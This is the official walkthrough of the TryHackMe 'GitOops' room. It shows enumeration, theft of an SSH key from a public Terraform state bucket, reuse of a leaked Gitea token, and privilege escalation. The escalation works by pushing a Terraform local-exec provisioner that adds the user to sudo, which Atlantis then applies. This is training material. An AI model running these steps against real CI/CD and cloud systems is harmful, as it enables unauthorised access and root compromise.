GitOops

This is the official walkthrough for the TryHackMe room GitOops.

Warning reading any further has spoilers 🤫

If your interested in how the room was created check out my other post Creating GitOops additionally all the code used is publicly available on GitHub.

Walkthrough

Lets start off by seeing whats running by performing an nmap scan.

nmap 10.10.217.122
# Nmap scan report for 10.10.217.122
# Not shown: 995 closed ports
# PORT     STATE SERVICE
# 22/tcp   open  ssh
# 80/tcp   open  http
# 443/tcp  open  https
# 2222/tcp open  EtherNetIP-1

There are four services that are exposing ports, lets get more information on them by performing a version scan.

nmap 10.10.217.122 -sV -p 22,80,443,2222
# Nmap scan report for 10.10.217.122

# PORT     STATE SERVICE  VERSION
# 22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
# 80/tcp   open  http     nginx 1.18.0 (Ubuntu)
# 443/tcp  open  ssl/http nginx 1.18.0 (Ubuntu)
# 2222/tcp open  ssh      (protocol 2.0)

# 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
# SF-Port2222-TCP:V=7.80%I=7%D=6/8%Time=6663B893%P=x86_64-pc-linux-gnu%r(NUL
# SF:L,C,"SSH-2\.0-Go\r\n");
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Visiting the website over https were prompted with a certificate warning, accept it. The webpage is for Gitea which is a self-hosted software development service. (Git hosting, code review, team collaboration, package registry and CI/CD [source])

gitea homepage

Lets look at the x509 certificate, it can be done in the browser or using a nmap script.

nmap -p 443 --script ssl-cert 192.168.0.136
# PORT    STATE SERVICE
# 443/tcp open  https
# | ssl-cert: Subject: commonName=gitoops.thm
# | Subject Alternative Name: DNS:gitoops.thm, DNS:*.gitoops.thm
# | Issuer: commonName=gitoops.thm
# | Public Key type: rsa
# | Public Key bits: 4096

Add the subject alternative names from the TLS certificate in your hosts file (/etc/hosts) to point to the virtual machines IP.

10.10.217.122 gitoops.thm
10.10.217.122 atlantis.gitoops.thm

Now visit https://gitoops.thm/ accept the self signed certificate warning are were prompted with the same gitea webpage.

Exploring Gitea there is one organization gitCorp, two users alexis and gitea and one public repository.

Looking at the public activity of the alexis user they have recently committed to the repository gitCorp/public

alexis gitea public activity

Going to the public repository (https://gitoops.thm/gitCorp/public) there are a few Terraform files.

gitea gitCorp/public repository

Looking through the files it seems to create a virtual server on AWS infrastructure, setup SSH keys, and create a DNS (gitoops.thm, meta) record for the EC2.

The file settings.tf contains information on required providers (aws & tls) and configuring them. Addtionally in that file it defines a backend which is used to store the Terraform state which is a file that describes the last record state of the infrastructure.

gitea public repository settings.tf

The backend in use is AWS S3, lets enumerate the bucket (gitcorp-terraform-storage) and see if it was left public and if there is anything useful in it.

To run the following command you will need to install the AWS CLI, this does not require an account though.

aws s3 ls s3://gitcorp-terraform-storage --recursive --no-sign-request
# 2024-06-06 17:05:15      32653 thm/gitoops/terraform.tfstate

Breaking down the command --recursive lists all files in the bucket recursively and --no-sign-request does not load local credentials to sign the request to S3.

Since there appears to be only one file lets download it and see what it contains.

aws s3 cp --no-sign-request s3://gitcorp-terraform-storage/thm/gitoops/terraform.tfstate ./gitoops-terraform.tfstate
# download: s3://gitcorp-terraform-storage/thm/gitoops/terraform.tfstate to ./gitoops-terraform.tfstate

Opening and looking through the file it contains a big json object ~600 lines. Parsing through it it contains the information related to the code in the public repository.

Contained inside of it is the resource tls_private_key.access_key which contains what appears to be public and private keys. 😋

terraform state file private keys

Good time to mention that state file are considered sensitive and should not be shared since then can contains secrets. [OpenTofu supports state encryption]

Expanding the private key (easy with echo $PRIVATE_SSH_KEY > key.pem) and safe it to a file

Lets now try to SSH into the server. The current users we know of are ubuntu (assumed from nmap command), gitea and alexis.

ssh [email protected] -i key.pem
# [email protected]'s password:

ssh [email protected] -i key.pem
# [email protected]'s password:

ssh [email protected] -i key.pem
# alexis@gitoops:~$

Were in as alexis, lets poke around to see what there is to see.

ls -la
# -r-------- 1 alexis alexis   22 Jun  8 01:30 flag.txt
# drwx------ 2 alexis alexis 4096 Jun  8 01:30 .ssh

cat flag.txt
# THM{example_user_flag}

ls -l .ssh
# -rw------- 1 alexis alexis  724 Jun  8 01:30 authorized_keys

sudo -l
# [sudo] password for alexis:

ss -tulpn
# Netid                State                 Recv-Q                Send-Q                                    Local Address:Port                                 Peer Address:Port
# tcp                  LISTEN                0                     4096                                          127.0.0.1:3000                                      0.0.0.0:*
# tcp                  LISTEN                0                     511                                             0.0.0.0:443                                       0.0.0.0:*
# tcp                  LISTEN                0                     511                                             0.0.0.0:80                                        0.0.0.0:*
# tcp                  LISTEN                0                     128                                             0.0.0.0:22                                        0.0.0.0:*
# tcp                  LISTEN                0                     4096                                                  *:4141                                            *:*
# tcp                  LISTEN                0                     4096                                                  *:2222                                            *:*

Interesting ports 3000 & 4141 were not found by our nmap scan.

Lets scan them to see what there running, that could be done with an SSH port forward. But I know there running http traffic and curl is installed on the machine so I’m not.

curl localhost:3000
# Output thats from gitea

curl localhost:4141
# HTML output

Looking through the response from the 4141 port it seems to be for the service atlantis. Atlantis is a tool that performs Terraform automation in Git through pull requests.

Lets look for that service on your machine

ps aux | grep atlantis
# root         845  0.0  3.0 1256044 30136 ?       Ssl  01:33   0:00 /usr/local/bin/atlantis server --atlantis-url=http://atlantis.gitoops.thm --gitea-base-url=http --gitea-base-url=https://gitoops.thm --gitea-user=atlantis --gitea-token=95c69fbb4eb73258e7654321244ddbc706ae2535 --gitea-webhook-secret=webhook_secret --gitea-page-size=30 --repo-allowlist=gitoops.thm/gitCorp/private
# alexis      1916  0.0  0.0   6432   724 pts/1    S+   02:34   0:00 grep --color=auto atlantis

The first thing to jump out is the gitea token, there also is a URL and reference to a second git repository (gitoops.thm/gitCorp/private), and the process is running as root.

First lets visit http://atlantis.gitoops.thm, its a web gui with not much information other than the ability to “disable apply commands.”

atlantis webpage

Circling back to the Gitea token, we can use the curl command to make HTTP API requests to discover other services. (Gitea API Usage documentation)

Looking through the Gitea API documentation there is a request to get information about the current authenticated user.

curl -X GET -k https://gitoops.thm/api/v1/user \
  -H "Authorization: token 95c69fbb4eb73258e7654321244ddbc706ae2535"

# "is_admin": false,
# "active": true,
# "visibility": "private",
# "username": "atlantis"

From the response the token belongs to the atlantis user which was not visible from the UI.

Next lets find out what scopes (permissions) the token has access to.

curl -X GET -k https://gitoops.thm/api/v1/users/atlantis/tokens \
  -H "Authorization: token 95c69fbb4eb73258e7654321244ddbc706ae2535"
# {"message":"auth required","url":"https://gitoops.thm/api/swagger"}

Drats, looks like we don’t have permissions, lets see what else we can find with the access

curl -X GET -k https://gitoops.thm/api/v1/user/repos \
  -H "Authorization: token 95c69fbb4eb73258e7654321244ddbc706ae2535"

Listing out the repositories out user has access to were able to view two public & private (namings hard man)

The following json is the shortened output of the previous command.

{
  "owner": {
    "username": "gitCorp"
  },
  "name": "private",
  "full_name": "gitCorp/private",
  "description": "Private repository",
  "html_url": "https://gitoops.thm/gitCorp/private",
  "ssh_url": "ssh://[email protected]:2222/gitCorp/private.git",
  "clone_url": "https://gitoops.thm/gitCorp/private.git",
  "permissions": {
    "admin": false,
    "push": false,
    "pull": true
  }
}

From the permissions it looks like we can pull (read) the contents of the repository but not push.

curl -X GET -k https://gitoops.thm/api/v1/repos/gitCorp/private/contents \
  -H "Authorization: token 95c69fbb4eb73258e7654321244ddbc706ae2535"

Listing the contents of the repository there only seems to be one file README.md

[
  {
    "name": "README.md",
    "path": "README.md",
    "sha": "64f7c9bc205ae78d60793fd54d58c8cad4a3e140",
    "last_commit_sha": "ba1333356917a60ceeac940089032107b0bc31a7",
    "type": "file",
    "size": 110,
    "encoding": null,
    "content": null,
    "target": null,
    "url": "https://gitoops.thm/api/v1/repos/gitCorp/private/contents/README.md?ref=main",
    "html_url": "https://gitoops.thm/gitCorp/private/src/branch/main/README.md",
    "git_url": "https://gitoops.thm/api/v1/repos/gitCorp/private/git/blobs/64f7c9bc205ae78d60793fd54d58c8cad4a3e140",
    "download_url": "https://gitoops.thm/gitCorp/private/raw/branch/main/README.md",
    "submodule_git_url": null,
    "_links": {
      "self": "https://gitoops.thm/api/v1/repos/gitCorp/private/contents/README.md?ref=main",
      "git": "https://gitoops.thm/api/v1/repos/gitCorp/private/git/blobs/64f7c9bc205ae78d60793fd54d58c8cad4a3e140",
      "html": "https://gitoops.thm/gitCorp/private/src/branch/main/README.md"
    }
  }
]

Lets get the README.md file from the repository

curl -X GET -k https://gitoops.thm/api/v1/repos/gitCorp/private/raw/README.md \
  -H "Authorization: token 95c69fbb4eb73258e7654321244ddbc706ae2535"
# Terraform Repo v2

Use this repository for storing internal Terraform code that will follow gitOps practices

Nothing that helpful, poking around with the credentials will to lead to much. From looking at the default permissions for the Atlantis Gitea setup.

  • issues: read / write
  • repositories: read / write
  • user: read

Knowing were dealing with Atlantis which is a tool that can apply Terraform code through pull requests. Lets create a pull request in the private repository (remember it was in an allow list in the service) and create a PR containing Terraform code.

# Create the new branch
curl -X POST -k https://gitoops.thm/api/v1/repos/gitCorp/private/branches \
  -H "Authorization: token 95c69fbb4eb73258e7654321244ddbc706ae2535" \
  -H "Content-Type: application/json" \
  -d '{"new_branch_name": "new_branch"}'
# user should have a permission to write to a repo

The token cannot create the branch since we don’t have write permissions. What other forms of authentication do we have… the alexis SSH key?

Lets try cloning the repository with it.

Add this to your ~/.ssh/config or move the key to ~/.ssh/id_rsa

Host gitoops.thm
    Hostname gitoops.thm
    IdentityFile ~/key.pem

Now we can clone the repository with the SSH key

git clone ssh://[email protected]:2222/gitCorp/private.git
# remote: Enumerating objects: 3, done.
# remote: Counting objects: 100% (3/3), done.
# remote: Compressing objects: 100% (2/2), done.
# remote: Total 3 (delta 0), reused 0 (delta 0)
# Receiving objects: 100% (3/3), done.

cd private

git checkout -b new_branch

Lets add a Terraform file (main.tf) what will add our user to the linux sudo group. (TF security)

resource "null_resource" "example" {
  provisioner "local-exec" {
    command = "adduser alexis sudo"
  }
}

Lets now commit the code and push our branch to the private repository

git add main.tf
git commit -m "Bad Terraform"
git push --set-upstream origin new_branch

Lets confirm that the code is pushed by listing the branches in the repository

curl -X GET -k https://gitoops.thm/api/v1/repos/gitCorp/private/branches \
  -H "Authorization: token 95c69fbb4eb73258e7654321244ddbc706ae2535"

Lets now create a pull request over the API and see if Atlantis applies the code.

curl -X POST -k https://gitoops.thm/api/v1/repos/gitCorp/private/pulls \
  -H "Authorization: token 95c69fbb4eb73258e7654321244ddbc706ae2535" \
  -H "Content-Type: application/json" \
  -d '{"base": "main", "head": "new_branch", "title": "Terraform RCE"}'

The command should return a json blob that contains information about the pull request. What we want from it is the id (probably ‘1’)

Wait for a few seconds and then visit https://atlantis.gitoops.thm/ there should be a new job.

atlantis terraform plan

Viewing the plan it shows that its ready to apply one resource. More information can be found with this API call.

terraform plan output

To trigger the apply we need to comment atlantis apply in the pull request. (But through the API)

This API call needs the index of the issue/pr which was returned when we created the PR

curl -X POST -k https://gitoops.thm/api/v1/repos/gitCorp/private/issues/1/comments \
  -H "Authorization: token 95c69fbb4eb73258e7654321244ddbc706ae2535" \
  -H "Content-Type: application/json" \
  -d '{"body": "atlantis apply"}'

Now looking in the Atlantis web UI we can see it was successfully applied.

terraform apply output

In our alexis SSH connection reconnect to pickup the new groups and run the following command

# Confirm that we were added to the group
groups
# alexis sudo

sudo su -
# root@gitoops:~#

ls -l
# -r-------- 1 root root   22 Jun  8 01:31 flag.txt
# -rw------- 1 root root  226 Jun  8 01:31 readme

cat flag.txt
# THM{example_root_flag}

PWNED!


If you liked this check out my other blog post on how it was created. I also plan to create another room at some point focused on Kubernetes which I feel is currently lacking (working) in rooms.